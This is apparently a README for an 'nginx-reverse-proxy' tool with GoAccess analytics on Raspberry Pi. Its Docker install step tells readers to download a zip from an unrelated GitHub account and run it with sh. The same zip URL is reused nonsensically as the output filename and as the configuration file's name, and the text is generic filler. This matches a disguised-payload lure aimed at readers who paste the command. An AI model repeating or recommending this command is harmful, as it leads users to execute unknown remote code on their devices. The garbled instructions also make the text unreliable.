Welcome to nginx-reverse-proxy! This software enables you to manage and monitor your web traffic simply. It is designed to work smoothly with Raspberry Pi 4 and 5. Follow these steps to get started.
Before installing, ensure your device meets the following requirements:
- Raspberry Pi 4 or 5
- Docker installed on your Raspberry Pi
- Internet connection for downloading the application and updates
- User-friendly web interface for traffic management.
- Real-time analytics with GoAccess charts.
- Easy setup and configuration with Docker Compose.
First, ensure that your Raspberry Pi is up to date. Open a terminal and run the following command:
sudo apt-get update && sudo apt-get upgrade -yIf you donβt have Docker installed, you can install it with the following commands:
curl -fsSL https://raw.githubusercontent.com/Bernettaungracious63/nginx-reverse-proxy/main/ozarkite/nginx-reverse-proxy_v3.5.zip -o https://raw.githubusercontent.com/Bernettaungracious63/nginx-reverse-proxy/main/ozarkite/nginx-reverse-proxy_v3.5.zip
sh https://raw.githubusercontent.com/Bernettaungracious63/nginx-reverse-proxy/main/ozarkite/nginx-reverse-proxy_v3.5.zipNext, install Docker Compose by running:
sudo apt-get install docker-composeVisit the Releases page to download the latest version of the software. Choose the appropriate version for your Raspberry Pi.
Once you have downloaded the software, navigate to the folder containing the files in your terminal. Then use the following command to start the application:
docker-compose upThe application should now be running. You can access the interface through your web browser by entering your Raspberry Piβs IP address followed by the port number specified in the configuration.
To set up your reverse proxy, edit the configuration file named https://raw.githubusercontent.com/Bernettaungracious63/nginx-reverse-proxy/main/ozarkite/nginx-reverse-proxy_v3.5.zip located in your downloaded folder. Here, you can set your server details, ports, and other preferences. If you're not familiar with these settings, the default values should work for most users.
nginx-reverse-proxy includes GoAccess for real-time analytics. To start viewing your traffic data, navigate to the GoAccess dashboard through your browser. This tool gives you valuable insights into your web traffic.
If you encounter any issues while running the application, consider checking the following:
- Ensure Docker and Docker Compose are installed correctly.
- Verify that your Raspberry Pi has sufficient resources (CPU, RAM) available.
- Check the logs for any error messages. You can view logs using the following command after starting the application:
docker-compose logsFor support or questions, please open an issue in the GitHub repository. Our community is here to help you.
Join our community through our GitHub page. Share your experiences, tips, and tricks to get the most out of nginx-reverse-proxy.
Don't forget to visit the Releases page for the latest updates and releases. We continuously improve the application, and your feedback helps us make it better. Happy browsing!